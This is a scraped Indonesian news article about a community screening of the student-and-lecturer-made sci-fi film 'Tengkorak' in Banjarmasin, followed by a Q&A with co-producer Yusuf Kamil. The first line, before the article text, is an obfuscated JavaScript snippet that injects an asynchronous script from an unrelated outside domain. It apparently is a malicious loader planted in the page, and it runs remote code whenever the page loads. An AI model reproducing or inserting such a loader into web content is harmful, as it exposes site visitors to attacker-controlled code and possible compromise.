(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Forum Sineas Banua (FSB) mengadakan nonton bareng Film Tengkorak dengan menghadirkan langsung co produser film Tengkorak, Yusuf Kamil. Kegiatan digelar di Sekretariat BPI Kalsel, Jl Kayutangi 2, Banjarmasin, Minggu (31/3) malam.
Usai nonton bareng, berlanjut dengan bincang-bincang dan tanya jawab antar penonton dan Yusuf Kamil. Sembari bersantai, Yusuf menjawab pertanyaan-pertanyaan para penonton yang penasaran akan sisi teknis hingga proses mendalam pembuatan film tersebut.
Film yang tayang selama 27 hari di bioskop ini meraup jumlah penonton mencapai 41 ribu. Untuk film Indonesia dengan genre Sci-Fi atau fiksi ilmiah (science fiction), tentu jumlah tersebut bukan hal kecil. Belum lagi mengingat proses pembuatannya ini memakan waktu 4 tahun sejak 2014 lalu.
Yusuf juga menceritakan bagaimana proses film yang menghabiskan dana 350 juta yang terhitung minimali serta dengan minimnnya para pemain, Tengkorak terkadang harus tertunda di pertengahan akibat kurangnya dana. “Kadang proses pembuatannya harus berhenti di tengah-tengah” ucap Yusuf.
Orang-orang di belakang film sangat unik. Sang sutradara Yusron Fuadi pun merangkap pemain, penulis cerita, produser, dan editor. Berbekal keyakinan dan modal nekat, Yusron yang juga berprofesi sebagai dosen tetap di Sekolah Vokasi UGM, disampaikan oleh Yusuf bahwa film ini didukung oleh orang-orang yang tidak memiliki latar belakang perfilman sama sekali.
Tengkorak menjadi produk film karya dosen dan mahasiswa Sekolah Vokasi Universitas Gajah Mada (UGM) yang mendapat nominasi Best Film untuk kategori Science Fiction, Fantasy dan Thriller dalam Festival Film Cinequest di Sanjose, California, Amerika Serikat. Film ini menjadi satu-satunya wakil dari Indonesia yang tampil di ajang festival tersebut.
Tengkorak juga akan menjadi film pembuka pada festival film di Jerman dan ikut nomisai di festival film Malaysia pada tahun ini.
Sebagai penutup diskusi, Yusuf Kamil kembali mengingatkan kepada para pekerja seni dunia perfilmanan, khususnya di Banjarmadin, agar mampu untuk tetap konsisten dalam membuat suatu karya. Kegiatan nonton bareng ini juga menjadi salah satu cara bagi FSB agar bisa mewadahi para sineas Banua untuk berdiskusi dan melahirkan ide-ide baru guna menghasilkan pemikiran hingga film-film yang berkualitas ke depannya.(mario)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.